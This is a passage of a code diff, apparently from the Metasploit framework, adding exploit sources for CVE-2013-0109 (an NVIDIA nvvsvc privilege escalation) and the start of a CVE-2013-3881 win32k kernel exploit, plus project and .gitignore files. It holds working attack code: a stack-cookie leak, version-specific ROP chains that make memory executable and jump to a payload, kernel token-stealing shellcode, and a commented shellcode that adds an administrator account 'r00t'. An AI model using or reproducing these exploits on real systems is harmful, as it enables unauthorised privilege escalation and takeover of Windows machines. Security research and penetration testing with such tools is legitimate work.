+			printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut);
+
+			break;
+		case ProtocolAction_ReadCookie:
+
+			// x64 Metasploit cmd/exec:
+			//     "net user r00t r00t00r! /add & net localgroup administrators /add" 
+			//     exitfunc=thread
+			/*char code[] = ""
+				"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
+				"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
+				"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
+				"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
+				"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
+				"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
+				"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
+				"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
+				"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
+				"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
+				"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
+				"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
+				"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
+				"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+				"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
+				"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
+				"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
+				"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
+				"\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"
+				"\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"
+				"\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"
+				"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
+				"\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";*/
+			printf("Building exploit ...\n");
+			unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
+			printf("\t\t => Stack cookie 0&x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);
+
+			memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);
+
+			unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;
+
+			// Perform some limited fingerprinting (my default install version, vs latest at time of testing)
+			switch (uiRetnAddress & 0xfff)
+			{
+			case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d
+				uiBase = uiRetnAddress - 0x4640;
+				printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
+
+				pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8));
+
+				// Param 1: lpAddress [r11 (near rsp) into rcx]
+				pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
+				pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
+				pRopChain[2] = 0; // Padding
+				pRopChain[3] = 0; // ...
+				pRopChain[4] = 0; // ...
+				pRopChain[5] = 0; // ...
+				pRopChain[6] = 0; // ...
+				pRopChain[7] = uiBase + 0x7773;  // nvvsvc.exe+0x7773: pop rax; retn
+				pRopChain[8] = 0x1;   // Param 2: dwSize [rdx = 1 (whole page)]
+				pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
+				pRopChain[10] = 0; // Padding
+				pRopChain[11] = 0; // ...
+				pRopChain[12] = 0; // ...
+				pRopChain[13] = 0; // ...
+				pRopChain[14] = 0; // ...
+				pRopChain[15] = uiBase + 0x7772;  // nvvsvc.exe+0x7772: pop r8; retn
+				pRopChain[16] = 0x40;  // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
+				pRopChain[17] = uiBase + 0x7773;  // nvvsvc.exe+0x7773: pop rax; retn
+				// Param 4: lpflOldProtect [r9 - already points at writable location]
+				pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
+				pRopChain[19] = uiBase + 0x5d60;  // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
+				pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
+				pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)
+
+				memcpy(pRopChain + 22, payload, payloadLen);
+				break;
+			case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f
+				uiBase = uiRetnAddress - 0x39f1;
+				printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
+
+				pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8));
+
+				// Param 1: lpAddress [r11 (near rsp) into rcx]
+				pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn
+				pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
+				pRopChain[2] = 0; // Padding ...
+				pRopChain[3] = 0; // ...
+				pRopChain[4] = 0; // ...
+				pRopChain[5] = 0; // ...
+				pRopChain[6] = 0; // ...
+				pRopChain[7] = uiBase + 0xd202;  // nvvsvc.exe+0xd202: pop rax; retn
+				pRopChain[8] = 0x1;              // Param 2: dwSize [rdx = 1 (whole page)]
+				pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
+				pRopChain[10] = 0; // Padding ...
+				pRopChain[11] = 0; // ...
+				pRopChain[12] = 0; // ...
+				pRopChain[13] = 0; // ...
+				pRopChain[14] = 0; // ...
+				// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
+				pRopChain[15] = uiBase + 0xd202;  // nvvsvc.exe+0xd202: pop rax; retn
+				pRopChain[16] = 0x40;             // PAGE_EXECUTE_READWRITE
+				pRopChain[17] = uiBase + 0x8b92;  // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
+				pRopChain[18] = 0; // Padding ...
+				pRopChain[19] = 0; // ...
+				pRopChain[20] = 0; // ...
+				pRopChain[21] = 0; // ...
+				pRopChain[22] = 0; // ...
+				// Param 4: lpflOldProtect [r9 - already points at writable location]
+				pRopChain[23] = uiBase + 0xd202;  // nvvsvc.exe+0xd202: pop rax; retn
+				pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect - 0x130
+				pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn
+				pRopChain[26] = 0; // Padding ...
+				pRopChain[27] = 0; // ...
+				pRopChain[28] = 0; // ...
+				pRopChain[29] = 0; // ...
+				pRopChain[30] = 0; // ...
+				pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax
+				pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp
+
+				memcpy(pRopChain + 33, payload, payloadLen);
+				break;
+			case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b
+				uiBase = uiRetnAddress - 0x3a11;
+				printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
+
+				pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8));
+
+				// Param 1: lpAddress [r11 (near rsp) into rcx]
+				pRopChain[0] = uiBase + 0x15b52;    // nvvsvc.exe+0x15b52: mov rax, r11; retn
+				pRopChain[1] = uiBase + 0x54d4c;    // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
+				pRopChain[2] = 0;  // Padding ...
+				pRopChain[3] = 0;  // ...
+				pRopChain[4] = 0;  // ...
+				pRopChain[5] = 0;  // ...
+				pRopChain[6] = 0;  // ...
+				pRopChain[7] = uiBase + 0x8d7aa;    // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
+				pRopChain[8] = 0x1;                 // Param 2: dwSize [rdx = 1 (whole page)]
+				pRopChain[9] = 0;                   // Padding ...
+				// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
+				pRopChain[10] = uiBase + 0xd33a;    // nvvsvc.exe+0xd33a: pop rax; retn
+				pRopChain[11] = 0x40;               // PAGE_EXECUTE_READWRITE
+				pRopChain[12] = uiBase + 0x8d26;    // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
+				pRopChain[13] = 0; // Padding ...
+				pRopChain[14] = 0; // ...
+				pRopChain[15] = 0; // ...
+				pRopChain[16] = 0; // ...
+				pRopChain[17] = 0; // ...
+				// Param 4: lpflOldProtect [r9 - already points at writable location]
+				pRopChain[18] = uiBase + 0xd33a;    // nvvsvc.exe+0xd33a: pop rax; retn
+				pRopChain[19] = uiBase + 0x91310;   // IAT entry &VirtualProtect - 0x128
+				pRopChain[20] = uiBase + 0x82851;   // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
+				pRopChain[21] = 0; // Padding ...
+				pRopChain[22] = 0; // ...
+				pRopChain[23] = 0; // ...
+				pRopChain[24] = 0; // ...
+				pRopChain[25] = 0; // ...
+				pRopChain[26] = uiBase + 0x44fb6;   // nvvsvc.exe+0x44fb6: jmp rax
+				pRopChain[27] = uiBase + 0x8a0dc;   // nvvsvc.exe+0x8a0dc: push rsp; retn
+
+				memcpy(pRopChain + 28, payload, payloadLen);
+				break;
+			}
+
+			break;
+		}
+
+		i++;
+	}
+
+Cleanup:
+	if (hPipe)
+	{
+		CloseHandle(hPipe);
+	}
+}
--- a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.h
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.h
@ -0,0 +1,6 @@
+#ifndef _METASPLOIT_SOURCE_NVIDIA_NVSVC_H
+#define _METASPLOIT_SOURCE_NVIDIA_NVSVC_H
+
+VOID elevate_nvidia_nvsvc(LPVOID payload);
+
+#endif
--- a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj
@ -0,0 +1,142 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{6B3FF768-1F25-49C1-8827-EDEC84D4749F}</ProjectGuid>
+    <RootNamespace>nvidia_nvsvc</RootNamespace>
+    <Keyword>Win32Proj</Keyword>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <CharacterSet>MultiByte</CharacterSet>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+    <PlatformToolset>v120</PlatformToolset>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <CharacterSet>MultiByte</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+    <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup>
+    <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
+    <LinkIncremental>false</LinkIncremental>
+    <GenerateManifest>false</GenerateManifest>
+    <CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
+    <CodeAnalysisRules />
+    <CodeAnalysisRuleAssemblies />
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <Optimization>Disabled</Optimization>
+      <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;nvidia_nvsvcessorDefinitions)</PreprocessorDefinitions>
+      <MinimalRebuild>true</MinimalRebuild>
+      <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+      <PrecompiledHeader>
+      </PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+    </ClCompile>
+    <Link>
+      <AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
+      <DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <TargetMachine>MachineX86</TargetMachine>
+      <ModuleDefinitionFile>
+      </ModuleDefinitionFile>
+      <AdditionalOptions>/ignore:4070</AdditionalOptions>
+    </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
+    </PostBuildEvent>
+    <ResourceCompile>
+      <PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ResourceCompile>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <Optimization>MinSpace</Optimization>
+      <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
+      <IntrinsicFunctions>false</IntrinsicFunctions>
+      <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;nvidia_nvsvcessorDefinitions)</PreprocessorDefinitions>
+      <StringPooling>true</StringPooling>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FunctionLevelLinking>false</FunctionLevelLinking>
+      <PrecompiledHeader>
+      </PrecompiledHeader>
+      <AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
+      <ObjectFileName>$(OutDir)\</ObjectFileName>
+      <ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
+      <BufferSecurityCheck>false</BufferSecurityCheck>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
+    </ClCompile>
+    <Link>
+      <AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
+      <IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
+      <IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
+      <DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <GenerateMapFile>true</GenerateMapFile>
+      <MapFileName>$(OutDir)\nvidia_nvsvc.map</MapFileName>
+      <SubSystem>Windows</SubSystem>
+      <OptimizeReferences>
+      </OptimizeReferences>
+      <EnableCOMDATFolding>
+      </EnableCOMDATFolding>
+      <RandomizedBaseAddress>false</RandomizedBaseAddress>
+      <DataExecutionPrevention>
+      </DataExecutionPrevention>
+      <ImportLibrary>$(OutDir)\nvidia_nvsvc.lib</ImportLibrary>
+      <TargetMachine>MachineX86</TargetMachine>
+      <Profile>false</Profile>
+      <ModuleDefinitionFile>
+      </ModuleDefinitionFile>
+      <AdditionalOptions>/ignore:4070</AdditionalOptions>
+    </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
+IF EXIST "..\..\..\..\..\data\exploits\CVE-2013-0109\" GOTO COPY
+    mkdir "..\..\..\..\..\data\exploits\CVE-2013-0109\"
+:COPY
+copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2013-0109\"</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="dllmain.c" />
+    <ClCompile Include="nvidia_nvsvc.cpp" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="nvidia_nvsvc.h" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+    <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
+  </ImportGroup>
+</Project>
--- a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj.filters
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj.filters
@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <ClCompile Include="nvidia_nvsvc.cpp" />
+    <ClCompile Include="dllmain.c" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="nvidia_nvsvc.h" />
+  </ItemGroup>
+</Project>
--- a/external/source/exploits/cve-2013-3660/.gitignore
+++ b/external/source/exploits/cve-2013-3660/.gitignore
@ -0,0 +1,152 @@
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+
+# User-specific files
+*.suo
+*.user
+*.sln.docstates
+
+# Build results
+
+[Dd]ebug/
+[Rr]elease/
+x64/
+build/
+[Bb]in/
+[Oo]bj/
+
+# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
+!packages/*/build/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+*_i.c
+*_p.c
+*.ilk
+*.meta
+*.obj
+*.pch
+*.pdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.log
+*.scc
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opensdf
+*.sdf
+*.cachefile
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# NCrunch
+*.ncrunch*
+.*crunch*.local.xml
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.Publish.xml
+*.pubxml
+
+# NuGet Packages Directory
+## TODO: If you have NuGet Package Restore enabled, uncomment the next line
+#packages/
+
+# Windows Azure Build Output
+csx
+*.build.csdef
+
+# Windows Store app package directory
+AppPackages/
+
+# Others
+sql/
+*.Cache
+ClientBin/
+[Ss]tyle[Cc]op.*
+~$*
+*~
+*.dbmdl
+*.[Pp]ublish.xml
+*.pfx
+*.publishsettings
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file to a newer
+# Visual Studio version. Backup files are not needed, because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+
+# SQL Server files
+App_Data/*.mdf
+App_Data/*.ldf
+
+# =========================
+# Windows detritus
+# =========================
+
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Mac crap
+.DS_Store
+
--- a/external/source/exploits/cve-2013-3881/.gitignore
+++ b/external/source/exploits/cve-2013-3881/.gitignore
@ -0,0 +1,151 @@
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+
+# User-specific files
+*.suo
+*.user
+*.sln.docstates
+
+# Build results
+
+[Dd]ebug/
+[Rr]elease/
+x64/
+build/
+[Bb]in/
+[Oo]bj/
+
+# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
+!packages/*/build/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+*_i.c
+*_p.c
+*.ilk
+*.meta
+*.obj
+*.pch
+*.pdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.log
+*.scc
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opensdf
+*.sdf
+*.cachefile
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# NCrunch
+*.ncrunch*
+.*crunch*.local.xml
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.Publish.xml
+*.pubxml
+
+# NuGet Packages Directory
+## TODO: If you have NuGet Package Restore enabled, uncomment the next line
+#packages/
+
+# Windows Azure Build Output
+csx
+*.build.csdef
+
+# Windows Store app package directory
+AppPackages/
+
+# Others
+sql/
+*.Cache
+ClientBin/
+[Ss]tyle[Cc]op.*
+~$*
+*~
+*.dbmdl
+*.[Pp]ublish.xml
+*.pfx
+*.publishsettings
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file to a newer
+# Visual Studio version. Backup files are not needed, because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+
+# SQL Server files
+App_Data/*.mdf
+App_Data/*.ldf
+
+# =========================
+# Windows detritus
+# =========================
+
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Mac crap
+.DS_Store
--- a/external/source/exploits/cve-2013-3881/cve-2013-3881.sln
+++ b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln
@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 11.00
+# Visual Studio 2010
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
+		{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
+		{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
+		{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
--- a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c
+++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c
@ -0,0 +1,261 @@
+/*
+ * Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability
+ * Date: February 5, 2014
+ * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame
+ * Exploit Author: Spencer McIntyre
+ * Version: Windows 7 SP0/SP1
+ * Tested on: Windows 7 SP0/SP1
+ * CVE-2013-3881 MS13-081
+ * References:
+ *   http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html
+ *   http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html
+ *   http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html
+ */
+
+#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
+
+// Purloined from ntstatus.h
+#define STATUS_SUCCESS                          ((NTSTATUS)0x00000000L) // ntsubauth
+
+#define WIN32_NO_STATUS
+#include <windows.h>
+#undef WIN32_NO_STATUS
+
+#ifndef _NTDEF_
+typedef __success(return >= 0) LONG NTSTATUS;
+typedef NTSTATUS *PNTSTATUS;
+#endif
+
+#define TABLE_BASE 0xff910000
+
+static const char* window_class_name = "PWN_CLASS";
+static HWND window0 = NULL;
+static HWND window1 = NULL;
+static HDESK desktop = NULL;
+
+const unsigned char shellcode[] =
+	"\x33\xc0"                      // xor eax, eax
+	"\x64\x8b\x80\x24\x01\x00\x00"  // mov eax, fs:[eax+0x124]
+	"\x8b\x40\x50"                  // mov eax, ds:[eax+0x50]
+	"\x8b\xc8"                      // mov ecx, eax
+	/* LOOPTHROUGHPROCESSES */
+	"\x8b\x80\xb8\x00\x00\x00"      // mov eax, ds:[eax+0xb8]
+	"\x2d\xb8\x00\x00\x00"          // sub eax, 0xb8
+	"\x83\xb8\xb4\x00\x00\x00\x04"  // cmp DWORD PTR ds:[eax+0xb4], 4
+	"\x75\xec"                      // jnz short LOOPTHROUGHPROCESSES
+	"\x8b\x90\xf8\x00\x00\x00"      // mov edx, ds:[eax+0x0f8]
+	"\x89\x91\xf8\x00\x00\x00"      // mov [ecx+0x0f8], edx
+	/* Epilog Part 1: Uncorrupt HANDLEENTRY */
+	"\xbe\x00\x08\x00\x00"          // mov esi, 0x0800
+	"\x8b\x3e"                      // mov edi, [esi]
+	"\x8b\x46\x04"                  // mov eax, [esi+4]
+	"\x89\x07"                      // mov [edi], eax
+	"\x8b\x46\x08"                  // mov eax, [esi+8]
+	"\x89\x47\x04"                  // mov [edi + 4], eax
+	"\x8b\x46\x0c"                  // mov eax, [esi+c]
+	"\x89\x47\x08"                  // mov [edi+8], eax
+	/* Epilog Part 2: Return to xxxTrackPopupMenuEx */
